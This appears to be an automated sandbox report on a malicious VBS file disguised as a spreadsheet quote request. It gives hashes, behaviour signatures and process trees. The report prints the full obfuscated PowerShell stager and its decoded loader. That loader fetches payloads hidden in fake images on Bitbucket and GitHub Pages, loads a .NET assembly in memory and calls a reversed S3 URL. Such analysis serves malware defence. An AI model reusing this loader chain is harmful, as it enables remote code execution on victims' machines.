Overview

overview

10

Static

static

1

CEKA RFQ I...ls.vbs

windows7-x64

8

CEKA RFQ I...ls.vbs

windows10-2004-x64

10

Analysis

  • max time kernel
    120s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    26/03/2025, 07:17

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Report Analysis Logs

General

  • Target

    CEKA RFQ IND18042128.xls.vbs

  • Size

    13KB

  • MD5

    625608a8b21dd63c47807150c9e056ff

  • SHA1

    8cd013e6bb9806b058f0cc21cdbc519089da08bb

  • SHA256

    4a4cb3cf592dc2b8cff367fef834b31f22eebc0e6cd66617169e14a6c3c80c3e

  • SHA512

    48c8e73beffffb3dd830dc90cfd44802a951a1949d0c5deb0ca8dfa20e0ea0c06d506e6e3311efae0f72fc884789b4005e9a2dea6d97854658cd2d3a68c67a94

  • SSDEEP

    192:lK222222222222222ELHkzZrrp/Wb6MbRha434iM458ooRbcpF3LWiGDC2M8Rk5D:iFFUgFwJISz9yd80g2r

Score
8/10
execution

Malware Config

Signatures

  • Blocklisted process makes network request 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

    execution
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\CEKA RFQ IND18042128.xls.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1860
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$dosigo = 'WwBO@GU@d@@u@FM@ZQBy@HY@aQBj@GU@U@Bv@Gk@bgB0@E0@YQBu@GE@ZwBl@HI@XQ@6@Do@UwBl@GM@dQBy@Gk@d@B5@F@@cgBv@HQ@bwBj@G8@b@@g@D0@I@Bb@E4@ZQB0@C4@UwBl@GM@dQBy@Gk@d@B5@F@@cgBv@HQ@bwBj@G8@b@BU@Hk@c@Bl@F0@Og@6@FQ@b@Bz@DE@Mg@N@@o@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@ZgB1@G4@YwB0@Gk@bwBu@C@@R@Bv@Hc@bgBs@G8@YQBk@EQ@YQB0@GE@RgBy@G8@bQBM@Gk@bgBr@HM@I@B7@C@@c@Bh@HI@YQBt@C@@K@Bb@HM@d@By@Gk@bgBn@Fs@XQBd@CQ@b@Bp@G4@awBz@Ck@I@@N@@o@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@J@B3@GU@YgBD@Gw@aQBl@G4@d@@g@D0@I@BO@GU@dw@t@E8@YgBq@GU@YwB0@C@@UwB5@HM@d@Bl@G0@LgBO@GU@d@@u@Fc@ZQBi@EM@b@Bp@GU@bgB0@Ds@I@@N@@o@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@J@Bz@Gg@dQBm@GY@b@Bl@GQ@T@Bp@G4@awBz@C@@PQ@g@Ec@ZQB0@C0@UgBh@G4@Z@Bv@G0@I@@t@Ek@bgBw@HU@d@BP@GI@agBl@GM@d@@g@CQ@b@Bp@G4@awBz@C@@LQBD@G8@dQBu@HQ@I@@k@Gw@aQBu@Gs@cw@u@Ew@ZQBu@Gc@d@Bo@Ds@I@@N@@o@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@ZgBv@HI@ZQBh@GM@a@@g@Cg@J@Bs@Gk@bgBr@C@@aQBu@C@@J@Bz@Gg@dQBm@GY@b@Bl@GQ@T@Bp@G4@awBz@Ck@I@B7@C@@d@By@Hk@I@B7@C@@cgBl@HQ@dQBy@G4@I@@k@Hc@ZQBi@EM@b@Bp@GU@bgB0@C4@R@Bv@Hc@bgBs@G8@YQBk@EQ@YQB0@GE@K@@k@Gw@aQBu@Gs@KQ@g@H0@I@Bj@GE@d@Bj@Gg@I@B7@C@@YwBv@G4@d@Bp@G4@dQBl@C@@fQ@g@H0@Ow@g@@0@Cg@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@By@GU@d@B1@HI@bg@g@CQ@bgB1@Gw@b@@g@H0@Ow@g@@0@Cg@k@EI@eQB0@GU@cw@g@D0@I@@n@Gg@d@B0@Cc@Ow@N@@o@J@BC@Hk@d@Bl@HM@Mg@g@D0@I@@n@H@@cw@6@C8@Lw@n@Ds@DQ@K@CQ@b@Bm@HM@Z@Bm@HM@Z@Bn@C@@PQ@g@C@@J@BC@Hk@d@Bl@HM@I@@r@CQ@QgB5@HQ@ZQBz@DI@Ow@N@@o@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@J@Bs@Gk@bgBr@HM@I@@9@C@@Q@@o@Cg@J@Bs@GY@cwBk@GY@cwBk@Gc@I@@r@C@@JwBi@Gk@d@Bi@HU@YwBr@GU@d@@u@G8@cgBn@C8@ZwBm@Gg@Z@Bq@Gs@Z@Bk@C8@agBo@Gg@a@Bo@Gg@a@Bo@C8@Z@Bv@Hc@bgBs@G8@YQBk@HM@LwB0@GU@cwB0@DI@LgBq@H@@Zw@/@DE@Mw@3@DE@MQ@z@Cc@KQ@s@C@@K@@k@Gw@ZgBz@GQ@ZgBz@GQ@Zw@g@Cs@I@@n@G8@ZgBp@GM@ZQ@z@DY@NQ@u@Gc@aQB0@Gg@dQBi@C4@aQBv@C8@MQ@v@HQ@ZQBz@HQ@LgBq@H@@Zw@n@Ck@KQ@7@@0@Cg@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@CQ@aQBt@GE@ZwBl@EI@eQB0@GU@cw@g@D0@I@BE@G8@dwBu@Gw@bwBh@GQ@R@Bh@HQ@YQBG@HI@bwBt@Ew@aQBu@Gs@cw@g@CQ@b@Bp@G4@awBz@Ds@DQ@K@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@aQBm@C@@K@@k@Gk@bQBh@Gc@ZQBC@Hk@d@Bl@HM@I@@t@G4@ZQ@g@CQ@bgB1@Gw@b@@p@C@@ew@g@CQ@aQBt@GE@ZwBl@FQ@ZQB4@HQ@I@@9@C@@WwBT@Hk@cwB0@GU@bQ@u@FQ@ZQB4@HQ@LgBF@G4@YwBv@GQ@aQBu@Gc@XQ@6@Do@VQBU@EY@O@@u@Ec@ZQB0@FM@d@By@Gk@bgBn@Cg@J@Bp@G0@YQBn@GU@QgB5@HQ@ZQBz@Ck@Ow@N@@o@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@k@HM@d@Bh@HI@d@BG@Gw@YQBn@C@@PQ@g@Cc@P@@8@EI@QQBT@EU@Ng@0@F8@UwBU@EE@UgBU@D4@Pg@n@Ds@I@@k@GU@bgBk@EY@b@Bh@Gc@I@@9@C@@Jw@8@Dw@QgBB@FM@RQ@2@DQ@XwBF@E4@R@@+@D4@Jw@7@C@@J@Bz@HQ@YQBy@HQ@SQBu@GQ@ZQB4@C@@PQ@g@CQ@aQBt@GE@ZwBl@FQ@ZQB4@HQ@LgBJ@G4@Z@Bl@Hg@TwBm@Cg@J@Bz@HQ@YQBy@HQ@RgBs@GE@Zw@p@Ds@I@@N@@o@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@J@Bl@G4@Z@BJ@G4@Z@Bl@Hg@I@@9@C@@J@Bp@G0@YQBn@GU@V@Bl@Hg@d@@u@Ek@bgBk@GU@e@BP@GY@K@@k@GU@bgBk@EY@b@Bh@Gc@KQ@7@@0@Cg@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@Gk@Zg@g@Cg@J@Bz@HQ@YQBy@HQ@SQBu@GQ@ZQB4@C@@LQBn@GU@I@@w@C@@LQBh@G4@Z@@g@CQ@ZQBu@GQ@SQBu@GQ@ZQB4@C@@LQBn@HQ@I@@k@HM@d@Bh@HI@d@BJ@G4@Z@Bl@Hg@KQ@g@Hs@I@@k@HM@d@Bh@HI@d@BJ@G4@Z@Bl@Hg@I@@r@D0@I@@k@HM@d@Bh@HI@d@BG@Gw@YQBn@C4@T@Bl@G4@ZwB0@Gg@Ow@g@@0@Cg@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@k@GI@YQBz@GU@Ng@0@Ew@ZQBu@Gc@d@Bo@Gg@I@@9@C@@J@Bl@G4@Z@BJ@G4@Z@Bl@Hg@I@@t@C@@J@Bz@HQ@YQBy@HQ@SQBu@GQ@ZQB4@Ds@DQ@K@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@J@Bi@GE@cwBl@DY@N@BD@G8@bQBt@GE@bgBk@C@@PQ@g@CQ@aQBt@GE@ZwBl@FQ@ZQB4@HQ@LgBT@HU@YgBz@HQ@cgBp@G4@Zw@o@CQ@cwB0@GE@cgB0@Ek@bgBk@GU@e@@s@C@@J@Bi@GE@cwBl@DY@N@BM@GU@bgBn@HQ@a@Bo@Ck@Ow@N@@o@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@CQ@ZQBu@GQ@SQBu@GQ@ZQB4@C@@PQ@g@CQ@aQBt@GE@ZwBl@FQ@ZQB4@HQ@LgBJ@G4@Z@Bl@Hg@TwBm@Cg@J@Bl@G4@Z@BG@Gw@YQBn@Ck@Ow@N@@o@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@k@GM@bwBt@G0@YQBu@GQ@QgB5@HQ@ZQBz@C@@PQ@g@Fs@UwB5@HM@d@Bl@G0@LgBD@G8@bgB2@GU@cgB0@F0@Og@6@EY@cgBv@G0@QgBh@HM@ZQ@2@DQ@UwB0@HI@aQBu@Gc@K@@k@GI@YQBz@GU@Ng@0@EM@bwBt@G0@YQBu@GQ@KQ@7@C@@I@@g@CQ@ZQBu@GQ@SQBu@GQ@ZQB4@C@@PQ@g@CQ@aQBt@GE@ZwBl@FQ@ZQB4@HQ@LgBJ@G4@Z@Bl@Hg@TwBm@Cg@J@Bl@G4@Z@BG@Gw@YQBn@Ck@Ow@g@C@@I@@k@GU@bgBk@Ek@bgBk@GU@e@@g@D0@I@@k@Gk@bQBh@Gc@ZQBU@GU@e@B0@C4@SQBu@GQ@ZQB4@E8@Zg@o@CQ@ZQBu@GQ@RgBs@GE@Zw@p@Ds@DQ@K@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@CQ@b@Bv@GE@Z@Bl@GQ@QQBz@HM@ZQBt@GI@b@B5@C@@PQ@g@Fs@UwB5@HM@d@Bl@G0@LgBS@GU@ZgBs@GU@YwB0@Gk@bwBu@C4@QQBz@HM@ZQBt@GI@b@B5@F0@Og@6@Ew@bwBh@GQ@K@@k@GM@bwBt@G0@YQBu@GQ@QgB5@HQ@ZQBz@Ck@Ow@N@@o@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@J@Bj@G8@bQBw@HI@ZQBz@HM@ZQBk@EI@eQB0@GU@QQBy@HI@YQB5@C@@PQ@g@Ec@ZQB0@C0@QwBv@G0@c@By@GU@cwBz@GU@Z@BC@Hk@d@Bl@EE@cgBy@GE@eQ@g@C0@YgB5@HQ@ZQBB@HI@cgBh@Hk@I@@k@GU@bgBj@FQ@ZQB4@HQ@DQ@K@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@CQ@d@B5@H@@ZQ@g@D0@I@@k@Gw@bwBh@GQ@ZQBk@EE@cwBz@GU@bQBi@Gw@eQ@u@Ec@ZQB0@FQ@eQBw@GU@K@@n@HQ@ZQBz@HQ@c@Bv@Hc@ZQBy@HM@a@Bl@Gw@b@@u@Eg@bwBh@GE@YQBh@GE@YQBz@GQ@bQBl@Cc@KQ@7@@0@Cg@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@N@@o@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@J@Bl@G4@Z@BJ@G4@Z@Bl@Hg@I@@9@C@@J@Bp@G0@YQBn@GU@V@Bl@Hg@d@@u@Ek@bgBk@GU@e@BP@GY@K@@k@GU@bgBk@EY@b@Bh@Gc@KQ@7@@0@Cg@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@k@G0@ZQB0@Gg@bwBk@C@@PQ@g@CQ@d@B5@H@@ZQ@u@Ec@ZQB0@E0@ZQB0@Gg@bwBk@Cg@JwBs@GY@cwBn@GU@Z@Bk@GQ@Z@Bk@GQ@Z@Bh@Cc@KQ@u@Ek@bgB2@G8@awBl@Cg@J@Bu@HU@b@Bs@Cw@I@Bb@G8@YgBq@GU@YwB0@Fs@XQBd@C@@K@@n@HQ@e@B0@C4@YgBo@GE@ZwBj@GM@SQ@v@G0@bwBj@C4@cwB3@GE@bgBv@Ho@YQBt@GE@Lg@x@C0@d@Bz@GE@ZQ@t@HM@dQ@u@DM@cw@u@DU@MgBh@Gs@ZQBs@C8@Lw@6@HM@Jw@s@C@@Jw@w@Cc@L@@g@Cc@UwB0@GE@cgB0@HU@c@BO@GE@bQBl@Cc@L@@g@Cc@UgBl@Gc@QQBz@G0@Jw@s@C@@Jw@w@Cc@KQ@p@H0@fQ@=';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $dosigo.replace('@','A') ));powershell.exe $OWjuxD .exe -windowstyle hidden -exec
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2880
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $Bytes = 'htt'; $Bytes2 = 'ps://'; $lfsdfsdg = $Bytes +$Bytes2; $links = @(($lfsdfsdg + 'bitbucket.org/gfhdjkdd/jhhhhhhh/downloads/test2.jpg?137113'), ($lfsdfsdg + 'ofice365.github.io/1/test.jpg')); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Lengthh = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Lengthh); $endIndex = $imageText.IndexOf($endFlag); $commandBytes = [System.Convert]::FromBase64String($base64Command); $endIndex = $imageText.IndexOf($endFlag); $endIndex = $imageText.IndexOf($endFlag); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $compressedByteArray = Get-CompressedByteArray -byteArray $encText $type = $loadedAssembly.GetType('testpowershell.Hoaaaaaasdme'); $endIndex = $imageText.IndexOf($endFlag); $method = $type.GetMethod('lfsgeddddddda').Invoke($null, [object[]] ('txt.bhagccI/moc.swanozama.1-tsae-su.3s.52akel//:s', '0', 'StartupName', 'RegAsm', '0'))}}" .exe -windowstyle hidden -exec
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2644

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
    Filesize

    7KB

    MD5

    7ad0a3f8d5ab730d7008955a291061c6

    SHA1

    4d34b6158c49dfad5a8698222941448b9a6546cf

    SHA256

    96760ada39b6b3e4d31de7d79b806f026ba165737802c521e7046dee3745b51e

    SHA512

    fafcf3ea464bd3239e8bc02946ac33c3485c023bc02d796336f55c2cc062dd8254a091cae313aeb7fdc8c43285e627defbb8c26ce939335a427e2d9f4586534c

    Download Submit

  • memory/2880-4-0x000007FEF553E000-0x000007FEF553F000-memory.dmp

    Filesize

    4KB

    Download

  • memory/2880-5-0x000000001B640000-0x000000001B922000-memory.dmp

    Filesize

    2.9MB

    Download

  • memory/2880-6-0x0000000002870000-0x0000000002878000-memory.dmp

    Filesize

    32KB

    Download

  • memory/2880-7-0x000007FEF5280000-0x000007FEF5C1D000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/2880-12-0x000007FEF5280000-0x000007FEF5C1D000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/2880-14-0x000007FEF5280000-0x000007FEF5C1D000-memory.dmp

    Filesize

    9.6MB

    Download